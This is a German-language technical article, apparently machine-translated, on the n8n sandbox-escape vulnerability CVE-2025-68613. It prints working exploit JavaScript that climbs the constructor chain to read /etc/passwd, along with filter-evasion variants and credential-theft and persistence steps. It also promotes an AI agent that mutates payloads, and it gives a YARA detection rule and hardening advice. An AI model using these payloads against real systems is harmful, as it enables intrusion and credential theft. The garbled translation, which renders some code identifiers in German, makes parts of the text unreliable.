Bußgeld-Kopfzeile

CVE-2025-68613 Vertiefung: Wie Node.js Sandbox-Entweichungen die n8n Workflow-Engine erschüttern

In den letzten Tagen des Jahres 2025 wurde die DevSecOps-Gemeinschaft durch die Enthüllung der folgenden Informationen aufgeschreckt CVE-2025-68613eine kritische Sicherheitslücke mit der maximalen CVSS-Punktzahl von 10.0. Das Ziel war n8ndas weltweit beliebteste Open-Source-Tool zur Workflow-Automatisierung, das als zentrales Nervensystem für Tausende von Unternehmen dient und Daten zwischen CRMs, Datenbanken und Cloud-Infrastrukturen orchestriert.

Für die Elite der Sicherheitsingenieure ist es ein Fehler, dies als "Low-Code-Schwachstelle" abzutun. CVE-2025-68613 ist eine Meisterklasse in der modernen Ausnutzung von JavaScript. Sie demonstriert, wie die Node.js Dynamische Laufzeitin Verbindung mit einer mangelhaften Objektfähigkeitsmodell und Prototyp Verschmutzung Techniken, können als Waffe eingesetzt werden, um eine harmlose Automatisierungsplattform in einen Root-Level-Strandpunkt zu verwandeln.

Dieser Artikel verzichtet auf eine oberflächliche Berichterstattung und untersucht die Sandbox-Escape-Primitive auf Byte-Ebene, das Versagen der vm Modul und wie KI-gesteuerte Logikanalysen das Spiel für Blue Teams verändern.

Die Architektur des Scheiterns: Warum die Node.js vm Modulpausen

Um den Exploit zu verstehen, müssen wir zunächst die Umgebung verstehen. n8n ermöglicht es Benutzern, Daten mit JavaScript-Ausdrücken zu manipulieren, die normalerweise in {{ }} Syntax. Um diesen nicht vertrauenswürdigen Anwendercode auszuführen, verließ sich n8n (vor Version 1.122.0) auf die native Node.js vm Modul.

Die vm Modul bietet APIs für die Kompilierung und Ausführung von Code innerhalb von V8 Virtual Machine-Kontexten. Es ermöglicht die Erstellung einer "Sandbox" - ein kontextifiziertes Objekt, das als globaler Bereich für den ausgeführten Code dient.

Die "Sicherheits"-Illusion

Die Prämisse von vm.runInNewContext(code, sandbox) ist, dass der Code darin nicht auf Objekte außerhalb der Sandkasten Objekt.

  • Theorie: Der Sandkasten ist eine Insel.
  • Die Realität: Die Insel ist durch Brücken mit dem Festland verbunden (die Prototypenkette).

Wenn die Host-Anwendung die jede Objekts in die Sandbox (z. B. durch die Freigabe von Umgebungsvariablen über prozess.umgebung oder Nutzenfunktionen über eine Helfer Objekt), ist die Isolierung gefährdet. Im Fall von n8n enthielt der Ausführungskontext Verweise auf die Workflow-Daten, die implizit mit dem Objektgraphen der Host-Umgebung verknüpft waren.

Die wichtigsten technischen Erkenntnisse: Die Node.js vm Modul ist nicht ein Sicherheitsmechanismus. Es ist ein Scoping-Mechanismus. Wie die Node.js-Dokumentation ausdrücklich warnt: "Verwenden Sie es nicht, um nicht vertrauenswürdigen Code auszuführen." CVE-2025-68613 ist die direkte Folge des Ignorierens dieser Warnung.

Node.js-Sandkasten

Anatomie des Exploits: Von der Prototypenkette zum RCE

Der primitive Exploit für CVE-2025-68613 dreht sich um das Durchlaufen der JavaScript-Prototypenkette, um dem vm Kontext und Zugriff auf die Hosts Funktion Konstrukteur.

Die "Constructor"-Klettertechnik

In JavaScript erben Objekte Eigenschaften von ihren Prototypen.

  1. diese: Innerhalb des n8n-Ausdrucks, diese verweist auf das Sandbox-Kontextobjekt.
  2. this.constructor: Dies verweist auf die Funktion, die das Kontextobjekt erstellt hat. In den meisten vm Implementierungen ist dies die Lösung für die Objekt Konstrukteur innerhalb den Sandkasten.
  3. this.constructor.constructor: Hier liegt die Lücke. Denn die Objekt Konstruktor innerhalb der Sandbox letztlich von den Primitiven der V8-Engine abgeleitet ist, führt das Durchlaufen seines Konstruktors häufig zu der Umgebung des Gastgebers Funktion Konstrukteur.

Sobald ein Angreifer in den Besitz der Hosts Funktion Konstruktor, haben sie effektiv eine eval() Äquivalent, das im Kontext des Hosts - außerhalb der Sandbox - ausgeführt wird.

Der Kill Chain Code

Schauen wir uns die Logik einer waffenfähigen Nutzlast an, die entwickelt wurde, um grundlegende Filter zu umgehen.

JavaScript

`// Schritt 1: Entkommen aus der Sandbox // Wir greifen auf den Konstruktor der fremden Funktion zu (Host-Kontext) const ForeignFunction = this.constructor.constructor;

// Schritt 2: Überbrückung der Lücke // Wir verwenden die Foreign Function, um eine Schließung zu erstellen, die das Objekt "process" zurückgibt. // Diese neue Funktion ist NICHT an die Einschränkungen der Sandbox gebunden. const getProcess = ForeignFunction('return process');

// Schritt 3: Ausführung // Wir führen die Funktion zum Abrufen des globalen Prozesshandles aus. const proc = getProcess();

// Schritt 4: Fähigkeiten importieren // Wir verwenden process.mainModule, um auf den internen Modullader zuzugreifen. const require = proc.mainModule.require;

// Schritt 5: Bewaffnung // Wir laden 'child_process' und führen einen Shell-Befehl aus. const result = require('child_process').execSync('cat /etc/passwd').toString();`

Im Kontext eines n8n-Workflows wird diese gesamte Kette reduziert und in ein legitimes Ausdrucksfeld, wie z. B. eine "Set"-Knotenvariable oder einen HTTP-Anfrage-Header-Wert, eingefügt.

Erweiterte Umgehung: Umgehung der statischen Analyse

Als CVE-2025-68613 zum ersten Mal in privaten Bug-Bounty-Kreisen geflüstert wurde, versuchten einige Administratoren, es mit WAF-Regeln oder Regex-Filtern zu entschärfen, die Schlüsselwörter wie Prozess, Konstrukteur, oder erfordern.

Bei einer dynamischen Sprache wie JavaScript ist die statische Filterung leicht zu umgehen.

Technik A: String-Arithmetik und Kodierung

Angreifer können verbotene Schlüsselwörter zur Laufzeit durch String-Verkettung oder ASCII-Zeichencodes rekonstruieren.

JavaScript

`{{ // Umgehung der Regex-Filter "constructor" und "process" (() => { const c = "con" + "structor"; const p = "pro" + "cess";

// Verwendung der Array-Zugriffsschreibweise anstelle der Punktschreibweise
const foreignFunc = this[c][c];
const proc = foreignFunc("return " + p)();

return proc.mainModule.require("child_process").execSync("id").toString();

})() }}`

Technik B: Die Reflect-API und Proxy-Verschleierung

Fortgeschrittene Exploits nutzen die Reflektieren API, um Eigenschaften ohne direkte Namensnennung zu untersuchen und aufzurufen, was die Analyse des abstrakten Syntaxbaums (AST) für traditionelle Sicherheitstools erheblich erschwert.

JavaScript

`{{ // Verwendung von Reflect, um den Konstruktor dynamisch zu finden, ohne ihn zu benennen const keys = Reflect.ownKeys(this.proto); const consKey = keys.find(k => k.toString().charCodeAt(0) == 99); // 'c'

const ForeignFunction = Reflect.get(this, consKey)[consKey];
// Fortfahren mit RCE...

}}`

Dies zeigt, warum der Musterabgleich bei logischen Schwachstellen in interpretierten Sprachen grundsätzlich unzulänglich ist.

Post-Exploitation: n8n als ultimatives C2-Drehkreuz

Die Erlangung von RCE auf einer n8n-Instanz ist oft wertvoller als die Kompromittierung eines Standard-Webservers. n8n befindet sich am Schnittpunkt der sensibelsten Datenleitungen eines Unternehmens.

1. Der Tresor für Anmeldeinformationen

n8n speichert Anmeldeinformationen für verbundene Dienste (AWS, Stripe, Salesforce, PostgreSQL) in seiner internen Datenbank (standardmäßig SQLite, zu finden unter ~/.n8n/database.sqlite). Während diese verschlüsselt sind, ermöglicht ein RCE dem Angreifer,:

  1. Lesen Sie den Verschlüsselungsschlüssel aus der Umgebungsvariablen (N8N_ENCRYPTION_KEY) oder die Konfiguration Datei.
  2. Entschlüsseln Sie den gesamten Berechtigungsnachweisspeicher.
  3. Schwenken Sie seitlich in die Cloud-Infrastruktur mit gültigen Schlüsseln mit hohen Berechtigungen.

2. Dateilose Persistenz

Herkömmliche Malware legt eine Binärdatei auf der Festplatte ab, die von EDR-Lösungen (Endpoint Detection and Response) überprüft werden kann.

In n8n kann ein Angreifer einen "Schatten-Workflow" erstellen:

  • Auslöser: Ein "Cron"-Knoten, der alle 10 Minuten läuft.
  • Aktion: Ein "Funktions"-Knoten, der bösartiges JavaScript ausführt (z. B. eine Reverse Shell oder ein Skript zur Datenexfiltration).
  • Lagerung: Die Malware existiert nur als JSON-Objekt in der n8n-Datenbank. Es ist filelessSie sind langlebig und fügen sich in die legitime Geschäftslogik ein.

KI-gesteuerte Logik-Erkennung: Der Penligent-Vorteil

Die Erkennung von CVE-2025-68613 ist ein Alptraum für herkömmliche DAST-Scanner (Dynamic Application Security Testing).

  • Das Problem: Scanner basieren auf "blindem Fuzzing". Sie senden Nutzdaten wie ' OR 1=1 -- oder <script>alert(1)</script>. Bei einer Expression Engine verursachen diese Nutzdaten einfach Syntaxfehler. Der Arbeitsablauf schlägt fehl, und der Scanner meldet "sauber".
  • Die Logiklücke: Um dies zu erkennen, muss ein Werkzeug Folgendes verstehen JavaScript-Syntax und Workflow-Kontext.

Dies ist der Ort, an dem Penligent.ai stellt einen Paradigmenwechsel dar. Penligent nutzt Kontextabhängige AI-Agenten die eine semantische Analyse durchführen:

  1. Syntaktisches Fuzzing: Die Vertreter von Penligent erkennen die {{ }} Syntax als Code-Injektionspunkt. Anstelle von zufälligen Zeichenfolgen konstruiert der Agent gültige JavaScript-Objekte.
  2. Objektfähigkeitsuntersuchung: Der Agent injiziert sichere Sonden, um die Grenzen der Sandbox zu testen (z. B., {{ this.constructor.name }}). Es analysiert die Ausgabe. Wenn es "Objekt" oder "Funktion" sieht, schließt es daraus, dass die Prototypkette intakt ist.
  3. Obfuscation Mutation: Wenn eine Prüfung blockiert wird (z. B. "Zugriff verweigert"), überarbeitet die KI von Penligent automatisch die Nutzdaten mithilfe der oben erwähnten Umgehungstechniken (String-Arithmetik, Reflect-API), um zu überprüfen, ob die Blockierung nur oberflächlich ist.

Durch die Simulation der iterativen Methodik eines menschlichen Forschers validiert Penligent die Verwertbarkeit der Logik und liefert einen Proof of Concept (PoC) statt eines falschen Positivs.

Handbuch für das Blaue Team: Aufdeckung und Verteidigung

Für das Blue Team erfordert die Abschwächung von CVE-2025-68613 eine Defense-in-Depth-Strategie, die davon ausgeht, dass die Anwendungsschicht angegriffen werden könnte.

1. Netzwerk-Signaturen (YARA/Snort)

Die Verschlüsselung der Nutzdaten erschwert zwar die Erkennung im Netzwerk, aber viele Angreifer verwenden Standard-Nutzdaten. Überwachen Sie auf HTTP POST-Anfragen an /Ruhe/Arbeitsabläufe die verdächtige JavaScript-Muster enthalten.

Beispiel einer YARA-Regel:

rule DETECT_N8N_EXPRESSION_INJECTION { meta: description = "Erkennt JS-Sandbox-Fluchtversuche in n8n (CVE-2025-68613)" severity = "Kritisch" strings: $token_start = "{{" $js_constructor = "constructor" $js_process = "process.mainModule" $js_child = "child_process" $js_char_code = "String.fromCharCode" $js_reflect = "Reflect.get" condition: $token_start und (2 von ($js_*)) }

2. Architektonische Härtung

  • Containerisierung: Führen Sie n8n niemals als root aus. Verwenden Sie Docker-Container ohne root mit einem schreibgeschützten Dateisystem.
  • Kappe fallen lassen: Führen Sie den Container mit -cap-drop=ALL um eine Privilegienerweiterung auch nach einem RCE zu verhindern.
  • Egress-Filterung: Konfigurieren Sie die Kubernetes-Netzwerkrichtlinien oder AWS-Sicherheitsgruppen so, dass der gesamte ausgehende Datenverkehr des n8n-Containers blockiert wird, mit Ausnahme der für Arbeitsabläufe benötigten APIs auf der Whitelist. Dadurch wird die Reverse-Shell-Verbindung beendet.

3. Umgebung Abriegelung

Setzen Sie die Umgebungsvariable N8N_BLOCK_ENV_ACCESS_IN_NODE=true. Diese Funktion, die in späteren Versionen eingeführt wurde, versucht, den Zugriff auf prozess.umgebung von den Knoten aus, wodurch der Diebstahl von Anmeldeinformationen verhindert wird, selbst wenn Code ausgeführt wird.

Schlussfolgerung: Das Ende des impliziten Vertrauens

CVE-2025-68613 stellt einen Wendepunkt für die Sicherheit von Low-Code-Plattformen dar. Sie erinnert uns daran, dass Flexibilität ist der Feind der Sicherheit. Wenn wir Nutzern die Möglichkeiten einer Turing-kompletten Sprache wie JavaScript zur Datenmanipulation geben, laden wir sie in den Kern unserer Anwendung ein.

Die Zukunft der sicheren Automatisierung liegt nicht in "besseren Regex-Filtern" oder "gepatchten vm Module", sondern in der architektonischen Isolierung Technologien wie WebAssembly (Wasm) oder V8 Isolatedie eine echte speichersichere Sandboxing-Funktion bieten. Bis dahin bleiben rigoroses Patchen, KI-gesteuerte Tests und aggressive Netzwerksegmentierung unser einziger Schutz.

Zuverlässige Referenzen und weiterführende Literatur

Teilen Sie den Beitrag:
Verwandte Beiträge
de_DEGerman